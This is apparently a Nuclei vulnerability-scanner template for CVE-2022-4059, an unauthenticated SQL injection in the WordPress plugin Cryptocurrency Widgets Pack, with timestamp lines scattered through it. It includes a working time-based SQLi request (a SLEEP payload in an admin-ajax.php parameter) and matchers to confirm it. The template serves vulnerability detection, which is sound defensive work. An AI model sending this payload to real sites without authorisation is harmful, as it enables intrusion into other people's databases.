2023-10-17 07:20:28 +00:00
id : CVE-2022-4059
info :
name : Cryptocurrency Widgets Pack < 2.0 - SQL Injection
author : r3Y3r53
severity : critical
description : |
The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
remediation : Fixed in version 2.0
reference :
- https://wpscan.com/vulnerability/d94bb664-261a-4f3f-8cc3-a2db8230895d
- https://nvd.nist.gov/vuln/detail/CVE-2022-4059
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-4059
cwe-id : CWE-89
2023-10-18 16:26:30 +00:00
epss-score : 0.02366
2023-11-10 17:07:52 +00:00
epss-percentile : 0.88644
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:blocksera:cryptocurrency_widgets_pack:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : blocksera
product : cryptocurrency_widgets_pack
framework : wordpress
publicwww-query : /wp-content/plugins/cryptocurrency-widgets-pack/
2023-10-17 07:20:28 +00:00
tags : cve,cve2022,wp,wp-plugin,wordpress,wpscan,sqli
http :
- raw :
- |
@timeout : 20s
GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1
Host : {{Hostname}}
- |
GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'duration_1>=7'
- 'len(body_1) == 0'
- 'status_code_1 == 302'
- 'contains(body_2, "Cryptocurrency Widgets Pack")'
condition : and
2023-11-11 17:38:55 +00:00
# digest: 4a0a00473045022100fdfdcd4dbc79e78629fd5bae81e843e86a1eb6241006d0dd98a3d1cd7eec0f3702200be2a33d78b45da8c9879868a5c6ce365d0b82185d58f081a4f137c103bf6238:922c64590222798bb761d5b6d8e72950